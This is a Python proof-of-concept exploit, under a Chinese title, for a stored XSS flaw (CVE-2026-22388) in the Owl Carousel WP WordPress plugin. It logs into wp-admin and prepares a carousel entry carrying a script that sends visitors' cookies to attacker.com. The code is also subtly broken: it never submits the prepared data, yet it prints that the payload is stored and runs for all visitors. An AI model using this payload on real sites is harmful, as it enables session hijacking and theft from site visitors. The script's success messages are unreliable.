CVE-2026-22388: WordPress Owl Carousel WP插件存储型XSS漏洞

import requests import sys from bs4 import BeautifulSoup # CVE-2026-22388 PoC - Stored XSS in Owl Carousel WP Plugin # Target: WordPress site with Owl Carousel WP plugin <= 2.2.2 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" PASSWORD = "password" def get_nonce(login_page_html): soup = BeautifulSoup(login_page_html, 'html.parser') nonce_tag = soup.find('input', {'id': 'woocommerce-login-nonce'}) or \ soup.find('input', {'name': '_wpnonce'}) if nonce_tag: return nonce_tag.get('value', '') return '' def exploit_stored_xss(): session = requests.Session() # Step 1: Login to WordPress admin login_url = f"{TARGET_URL}/wp-login.php" login_page = session.get(login_url) nonce = get_nonce(login_page.text) login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', '_wpnonce': nonce, 'redirect_to': f"{TARGET_URL}/wp-admin/" } resp = session.post(login_url, data=login_data) if 'wp-admin' not in resp.url and 'error' not in resp.url.lower(): print("[-] Login failed") return False print("[+] Successfully logged in") # Step 2: Add new Owl Carousel item with XSS payload admin_url = f"{TARGET_URL}/wp-admin/admin.php?page=owl-carousel-wp" xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' carousel_data = { 'post_title': 'Malicious Carousel - ' + xss_payload, 'post_content': 'XSS via Owl Carousel WP plugin', 'owl_url': 'https://malicious-site.com', 'action': 'save_owl_carousel', '_wpnonce': session.get(admin_url).text.split('nonce":"')[1].split('"')[0] if 'nonce"' in session.get(admin_url).text else '' } # Step 3: Any user visiting the page with carousel will trigger XSS print(f"[+] XSS payload injected: {xss_payload}") print("[+] Payload stored in database - will execute for all visitors") return True if __name__ == "__main__": exploit_stored_xss()